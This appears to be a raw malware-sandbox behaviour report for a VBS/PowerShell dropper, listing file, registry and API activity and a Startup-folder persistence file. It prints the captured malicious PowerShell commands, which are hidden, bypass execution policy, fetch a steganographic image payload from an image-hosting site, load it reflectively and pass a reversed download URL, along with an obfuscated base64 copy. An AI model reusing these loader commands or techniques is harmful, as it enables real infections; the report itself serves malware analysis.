"SYSTEMSETUPINPROGRESS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SQMCLIENT\WINDOWS"; Key: "CEIPENABLE"; Value: "")3e:T7dc,"WScript.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches" "WScript.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches" "cmd.exe" touched file "C:\Windows\AppPatch\AppPatch64\sysmain.sdb" "powershell.exe" touched file "C:\Users\RswcfmC\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms" "powershell.exe" touched file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\clr.dll" "powershell.exe" touched file "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe.config" "powershell.exe" touched file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\security.config" "powershell.exe" touched file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\security.config.cch" "powershell.exe" touched file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\enterprisesec.config" "powershell.exe" touched file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\enterprisesec.config.cch" "powershell.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches" "powershell.exe" touched file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations" "powershell.exe" touched file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\VR7V0BTQ38W0RIS2AOFU.temp" "powershell.exe" touched file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ GGw.vbs" "powershell.exe" touched file "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\ GGw.vbs" "powershell.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches" "powershell.exe" touched file "%APPDATA%\Microsoft\Windows\Recent\CustomDestinations" "powershell.exe" touched file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\W5QMSBYDTM2JFXSMFHV2.temp" "powershell.exe" touched file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF101cf0.TMP"3f:T88f,"WScript.exe" trying to access non-existent file "C:\Windows\System32\cmd.exe:ZONE.IDENTIFIER" "WScript.exe" trying to access non-existent file "C:\Windows\System32\WSCRIPT.EXE.LOCAL" "WScript.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe:ZONE.IDENTIFIER" "powershell.exe" trying to access non-existent file "C:\Users\RswcfmC\AppData\Roaming\Microsoft\desktop.ini" "powershell.exe" trying to access non-existent file "C:\ProgramData\Microsoft\desktop.ini" "powershell.exe" trying to access non-existent file "C:\Users\RswcfmC\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe.config" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\security.config" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\security.config.cch" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\enterprisesec.config" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\enterprisesec.config.cch" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\POWERSHELL.EXE.LOCAL" "powershell.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\DESKTOP.INI" "powershell.exe" trying to access non-existent file "C:\ProgramData\Microsoft\DESKTOP.INI" "powershell.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590AEE7BDD69B59B.CUSTOMDESTINATIONS-MS" "powershell.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\VR7V0BTQ38W0RIS2AOFU.TEMP" "powershell.exe" trying to access non-existent file "C:\Windows\System32\MSCOREE.DLL.LOCAL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\POWERSHELL.EXE.CONFIG"40:T5f4,Found reference to API "WSAStartup" (Indicator: "WSAStartup"; Source: "00000000-00002752-00000C26-58990804") Found reference to API "WinHttpOpen" (Indicator: "WinHttpOpen"; Source: "00000000-00002752-00000C26-63458576") Found reference to API "WinHttpOpenW" (Indicator: "WinHttpOpen"; Source: "00000000-00002752-00000C26-63459865") Found reference to API "WinHttpQueryHeaders" (Indicator: "WinHttpQueryHeaders"; Source: "00000000-00002752-00000C26-65902846") Found reference to API "WinHttpConnect" (Indicator: "WinHttpConnect"; Source: "00000000-00002752-00000C26-68223623") Found reference to API "WinHttpOpenRequest" (Indicator: "HttpOpenRequest"; Source: "00000000-00002752-00000C26-68282397") Found reference to API "WinHttpOpenRequest" (Indicator: "WinHttpOpen"; Source: "00000000-00002752-00000C26-68282397") Found reference to API "WinHttpOpenRequest" (Indicator: "WinHttpOpenRequest"; Source: "00000000-00002752-00000C26-68282397") Found reference to API "WinHttpSendRequest" (Indicator: "HttpSendRequest"; Source: "00000000-00002752-00000C26-69039860") Found reference to API "WinHttpSendRequest" (Indicator: "WinHttpSendRequest"; Source: "00000000-00002752-00000C26-69039860") Found reference to API "WSARecv" (Indicator: "WSARecv"; Source: "00000000-00002752-00000C26-69144886") Found reference to API "WSASend" (Indicator: "WSASend"; Source: "00000000-00002752-00000C26-69146749") Found reference to API "WinHttpReadData" (Indicator: "WinHttpReadData"; Source: "00000000-00002752-00000C26-69172508")41:T672,Pattern match: "https://uploaddeimagens.com.br/images/4/563/621/original/universo_vbs.jpeg?169931855'[System.Text.Encoding]::UTF8.GetString($imageBytes).IndexOf" Pattern match: "https://uploaddeimagens.com.br/images/4/563/621/original/universo_vbs.jpeg?169931855" Pattern match: "https://uploaddeimagens.com.br/images/004/563/621/original/universo_vbs.jpeg?1690931855';$webClient" Heuristic match: "this.gbDadosGerais.TabStop = false;' this.gbDadosGerais.Text = Dados Gerais;' // ' // cbTipoCadastro' // ' this.cbTipoCadastro.Controls.Add(this.cbE_Funcionario);' this.cbTipoCadastr" Pattern match: "crl.microsoft.com/pki/crl/products/MicCerLisCA2011_2011-03-29.crl0]Q0O0MAhttp://www.microsoft.com/pki/certs/MicCerLisCA2011_2011-03-29.crt0`J2K#QD2%E?]$W_GvCa2j+&|@jY?\zHcyNf" Pattern match: "C.JgU/0$" Pattern match: "crl.microsoft.com/pki/crl/products/MicCerLisCA2011_2011-03-29.crl0]+Q0O0M+0Ahttp://www.microsoft.com/pki/certs/MicCerLisCA2011_2011-03-29.crt0U00" Pattern match: "crl.microsoft.com/pki/crl/products/MicRooCerAut_2010-06-23.crl0Z+N0L0J+0" Pattern match: "www.microsoft.com0" Heuristic match: "uploaddeimagens.com.br" Heuristic match: "%WINDIR%\assembly\NativeImages_v2.0.50727_64\Microsoft.WSMan.Man#\23314086651ff4d13264ef3cd19e0b4e\Microsoft.WSMan.Management.ni" Heuristic match: "%ALLUSERSPROFILE%\Oracle\Java\javapath\powershell.exe.COM" Heuristic match: "%WINDIR%\system32\powershell.exe.COM" Heuristic match: "%WINDIR%\powershell.exe.COM" Heuristic match: "%WINDIR%\System32\Wbem\powershell.exe.COM" Heuristic match: "ctldl.windowsupdate.com"42:T8f8,"WScript.exe" called "FindFirstFileW" with parameter C:\EGK.vbs (UID: 00000000-00003604) "WScript.exe" called "FindFirstFileW" with parameter C:\powershell.* (UID: 00000000-00003604) "WScript.exe" called "FindFirstFileW" with parameter %WINDIR%\system32\powershell.* (UID: 00000000-00003604) "WScript.exe" called "FindFirstFileW" with parameter %WINDIR%\System\powershell.* (UID: 00000000-00003604) "WScript.exe" called "FindFirstFileW" with parameter %WINDIR%\powershell.* (UID: 00000000-00003604) "WScript.exe" called "FindFirstFileW" with parameter %ALLUSERSPROFILE%\Oracle\Java\javapath\powershell.* (UID: 00000000-00003604) "WScript.exe" called "FindFirstFileW" with parameter %WINDIR%\System32\Wbem\powershell.* (UID: 00000000-00003604) "WScript.exe" called "FindFirstFileW" with parameter %WINDIR%\System32\WindowsPowerShell\v1.0\powershell.* (UID: 00000000-00003604) "WScript.exe" called "FindNextFileW" with parameter powershell.exe (UID: 00000000-00003604) "cmd.exe" called "FindFirstFileW" with parameter C:\ (UID: 00000000-00003244) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\system32\windowspowershell\v1.0\powershell_ise.exe (UID: 00000000-00002396) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00002396) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework64\\* (UID: 00000000-00002396) "powershell.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00002396) "powershell.exe" called "FindNextFileW" with parameter sbscmp10.dll (UID: 00000000-00002396) "powershell.exe" called "FindNextFileW" with parameter sbscmp20_mscorwks.dll (UID: 00000000-00002396) "powershell.exe" called "FindNextFileW" with parameter sbscmp20_perfcounter.dll (UID: 00000000-00002396) "powershell.exe" called "FindNextFileW" with parameter SharedReg12.dll (UID: 00000000-00002396) "powershell.exe" called "FindNextFileW" with parameter v2.0.50727 (UID: 00000000-00002396) "powershell.exe" called "FindNextFileW" with parameter v3.0 (UID: 00000000-00002396) "powershell.exe" called "FindNextFileW" with parameter v3.5 (UID: 00000000-00002396) "powershell.exe" called "FindNextFileW" with parameter v4.0.30319 (UID: 00000000-00002396)43:T9a0,"powershell.exe" opened "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\VR7V0BTQ38W0RIS2AOFU.temp" with delete access "powershell.exe" opened "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\CONFIG\SECURITY.CONFIG.CCH.2396.1041359" with delete access "powershell.exe" opened "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\CONFIG\ENTERPRISESEC.CONFIG.CCH.2396.1041359" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\CLR SECURITY CONFIG\V2.0.50727.312\64BIT\SECURITY.CONFIG.CCH.2396.1041531" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\W5QMSBYDTM2JFXSMFHV2.temp" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF101cf0.TMP" with delete access "powershell.exe" opened "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\CONFIG\SECURITY.CONFIG.CCH.3724.1057750" with delete access "powershell.exe" opened "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\CONFIG\ENTERPRISESEC.CONFIG.CCH.3724.1057750" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\CLR SECURITY CONFIG\V2.0.50727.312\64BIT\SECURITY.CONFIG.CCH.3724.1057890" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\ZK2DQA241HPPG99LKDYM.temp" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF104eed.TMP" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\Cab8E67.tmp" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\Tar8E77.tmp" with delete access "powershell.exe" opened "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\CONFIG\SECURITY.CONFIG.CCH.2752.1070453" with delete access "powershell.exe" opened "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\CONFIG\ENTERPRISESEC.CONFIG.CCH.2752.1070453" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\CLR SECURITY CONFIG\V2.0.50727.312\64BIT\SECURITY.CONFIG.CCH.2752.1070921" with delete access44:Tb61,"powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CTLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE")45:Ta2d,"WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CRYPT32"; Key: "DEBUGHEAPFLAGS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CRYPT32"; Key: "DIAGLEVEL"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CRYPT32"; Key: "DIAGMATCHANYMASK"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\LDAP"; Key: "LDAPCLIENTINTEGRITY"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\LDAP"; Key: "USEOLDHOSTRESOLUTIONORDER"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\LDAP"; Key: "USEHOSTNAMEASALIAS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\LDAP"; Key: "IPV4LOOPBACKALTERNATIVE"; Value: "") "PING.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "WINSOCK_REGISTRY_VERSION"; Value: "") "PING.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "NAMESPACE_CALLOUT"; Value: "") "PING.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "SERIAL_ACCESS_NUM"; Value: "") "PING.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "NEXT_CATALOG_ENTRY_ID"; Value: "") "PING.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "NUM_CATALOG_ENTRIES64"; Value: "") "PING.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000001"; Key: "PACKEDCATALOGITEM"; Value: "") "PING.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000002"; Key: "PACKEDCATALOGITEM"; Value: "") "PING.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000003"; Key: "PACKEDCATALOGITEM"; Value: "") "PING.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000004"; Key: "PACKEDCATALOGITEM"; Value: "") "PING.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000005"; Key: "PACKEDCATALOGITEM"; Value: "")46:Tb6e,"WScript.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "UNCASINTRANET"; Value: "00000000") "WScript.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "AUTODETECT"; Value: "01000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKCU\LOCAL SETTINGS\MUICACHE\169\52C64B7E"; Key: "LANGUAGELIST"; Value: "en-US") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "ENABLEFILETRACING"; Value: "00000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "ENABLECONSOLETRACING"; Value: "00000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "FILETRACINGMASK"; Value: "0000FFFF") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "CONSOLETRACINGMASK"; Value: "0000FFFF") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "MAXFILESIZE"; Value: "00001000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "FILEDIRECTORY"; Value: "%windir%\tracing") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "ENABLEFILETRACING"; Value: "00000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "ENABLECONSOLETRACING"; Value: "00000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "FILETRACINGMASK"; Value: "0000FFFF") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "CONSOLETRACINGMASK"; Value: "0000FFFF") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "MAXFILESIZE"; Value: "00001000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "FILEDIRECTORY"; Value: "%windir%\tracing") "powershell.exe" (Access type: "SETVAL"; Path: "HKCU\LOCAL SETTINGS\MUICACHE\169\52C64B7E"; Key: "@%SYSTEMROOT%\SYSTEM32\QAGENTRT.DLL,-10"; Value: "System Health Authentication") "powershell.exe" (Access type: "SETVAL"; Path: "HKCU\LOCAL SETTINGS\MUICACHE\169\52C64B7E"; Key: "@%SYSTEMROOT%\SYSTEM32\FVEUI.DLL,-843"; Value: "BitLocker Drive Encryption") "powershell.exe" (Access type: "SETVAL"; Path: "HKCU\LOCAL SETTINGS\MUICACHE\169\52C64B7E"; Key: "@%SYSTEMROOT%\SYSTEM32\FVEUI.DLL,-844"; Value: "BitLocker Data Recovery Agent") "powershell.exe" (Access type: "SETVAL"; Path: "HKCU\LOCAL SETTINGS\MUICACHE\169\52C64B7E"; Key: "@%SYSTEMROOT%\SYSTEM32\WUAUENG.DLL,-400"; Value: "Windows Update")47:T1a59,Commandline contains PowerShell string "%WINDIR%\System32\WindowsPowerShell\v1.\powershell.exe" windowstyle hidden executionpolicy bypss NoProfile command "$imageUrl 'https://uploaddeimagens.com.br/images/4/563/621/original/universo_vbs.jpeg?169931855'[System.Text.Encoding]::UTF8.GetString($imageBytes).IndexOf(<>) [System.Text.Encoding]::UTF8.GetString($imageBytes).IndexOf(<>) [System.Text.Encoding]::UTF8.GetString($imageBytes).IndexOf(<>)[System.Text.Encoding]::UTF8.GetString($imageBytes).IndexOf(<>) + <>.Length4B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB12B9BB2DAE29E4B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB89DD7B139F4484EB8493114D2CACB5E9937B1B449DCA1D8A78144C5F67AD4ADAE29E8A66A781CAD7AC22775EC4E7C11213AE43434B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB89DD7B139F4484EB849311[System.Reflection.Assembly]::Load(4B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB12B9BB2DAE29E4B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB89DD7B139F4484EB8493114D2CACB5E9937B1B449DCA1D8A78144C5F67AD4ADAE29E8A66A781CAD7AC22775EC4E7C11213AE43434B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB89DD7B139F4484EB849311).GetType('Fiber.Home').GetMethod('VAI').Invoke($null, ,('txt.9tre/lt/761.161.651.49//:ptth')); K+-zd��'r�b��+k�x"��+^�+��M�mw(v)�Q1|�R��)��r��9�@HN�I0M ��{D��xL_z��)��f�x�z�'u�N|�44��M�mw(v)�Q1|�R��)��r��9�@HN�I0......." in [Source : 00000000-00002752], Commandline contains PowerShell string "-command $Codigo = 'J#@$#Bp#@$#G0#@$#YQBn#@$#GU#@$#VQBy#@$#Gw#@$#I#@$##@$#9#@$#C#@$##@$#JwBo#@$#HQ#@$#d#@$#Bw#@$#HM#@$#Og#@$#v#@$#C8#@$#dQBw#@$#Gw#@$#bwBh#@$#GQ#@$#Z#@$#Bl#@$#Gk#@$#bQBh#@$#Gc#@$#ZQBu#@$#HM#@$#LgBj#@$#G8#@$#bQ#@$#u#@$#GI#@$#cg#@$#v#@$#Gk#@$#bQBh#@$#Gc#@$#ZQBz#@$#C8#@$#M#@$##@$#w#@$#DQ#@$#Lw#@$#1#@$#DY#@$#Mw#@$#v#@$#DY#@$#Mg#@$#x#@$#C8#@$#bwBy#@$#Gk#@$#ZwBp#@$#G4#@$#YQBs#@$#C8#@$#dQBu#@$#Gk#@$#dgBl#@$#HI#@$#cwBv#@$#F8#@$#dgBi#@$#HM#@$#LgBq#@$#H#@$##@$#ZQBn#@$#D8#@$#MQ#@$#2#@$#Dk#@$#M#@$##@$#5#@$#DM#@$#MQ#@$#4#@$#DU#@$#NQ#@$#n#@$#Ds#@$#J#@$#B3#@$#GU#@$#YgBD#@$#Gw#@$#aQBl#@$#G4#@$#d#@$##@$#g#@$#D0#@$#I#@$#BO#@$#GU#@$#dw#@$#t#@$#E8#@$#YgBq#@$#GU#@$#YwB0#@$#C#@$##@$#UwB5#@$#HM#@$#d#@$#Bl#@$#G0#@$#LgBO#@$#GU#@$#d#@$##@$#u#@$#Fc#@$#ZQBi#@$#EM#@$#b#@$#Bp#@$#GU#@$#bgB0#@$#Ds#@$#J#@$#Bp#@$#G0#@$#YQBn#@$#GU#@$#QgB5#@$#HQ#@$#ZQBz#@$#C#@$##@$#PQ#@$#g#@$#CQ#@$#dwBl#@$#GI#@$#QwBs#@$#Gk#@$#ZQBu#@$#HQ#@$#LgBE#@$#G8#@$#dwBu#@$#Gw#@$#bwBh#@$#GQ#@$#R#@$#Bh#@$#HQ#@$#YQ#@$#o#@$#CQ#@$#aQBt#@$#GE#@$#ZwBl#@$#FU#@$#cgBs#@$#Ck#@$#Ow#@$#k#@$#Gk#@$#bQBh#@$#Gc#@$#ZQBU#@$#GU#@$#e#@$#B0#@$#C#@$##@$#PQ#@$#g#@$#Fs#@$#UwB5#@$#HM#@$#d#@$#Bl#@$#G0#@$#LgBU#@$#GU#@$#e#@$#B0#@$#C4#@$#RQBu#@$#GM#@$#bwBk#@$#Gk#@$#bgBn#@$#F0#@$#Og#@$#6#@$#FU#@$#V#@$#BG#@$#Dg#@$#LgBH#@$#GU#@$#d#@$#BT#@$#HQ#@$#cgBp#@$#G4#@$#Zw#@$#o#@$#CQ#@$#aQBt#@$#GE#@$#ZwBl#@$#EI#@$#eQB0#@$#GU#@$#cw#@$#p#@$#Ds#@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#RgBs#@$#GE#@$#Zw#@$#g#@$#D0#@$#I#@$##@$#n#@$#Dw#@$#P#@$#BC#@$#EE#@$#UwBF#@$#DY#@$#N#@$#Bf#@$#FM#@$#V#@$#BB#@$#FI#@$#V#@$##@$#+#@$#D4#@$#Jw#@$#7#@$#CQ#@$#ZQBu#@$#GQ#@$#RgBs#@$#GE#@$#Zw#@$#g#@$#D0#@$#I#@$##@$#n#@$#Dw#@$#P#@$#BC#@$#EE#@$#UwBF#@$#DY#@$#N#@$#Bf#@$#EU#@$#TgBE#@$#D4#@$#Pg#@$#n#@$#Ds#@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#SQBu#@$#GQ#@$#ZQB4#@$#C#@$##@$#PQ#@$#g#@$#CQ#@$#aQBt#@$#GE#@$#ZwBl#@$#FQ#@$#ZQB4#@$#HQ#@$#LgBJ#@$#G4#@$#Z#@$#Bl#@$#Hg#@$#TwBm#@$#Cg#@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#RgBs#@$#GE#@$#Zw#@$#p#@$#Ds#@$#J#@$#Bl#@$#G4#@$#Z#@$#BJ#@$#G4#@$#Z#@$#Bl#@$#Hg#@$#I#@$##@$#9#@$#C#@$##@$#J#@$#Bp#@$#G0#@$#YQBn#@$#G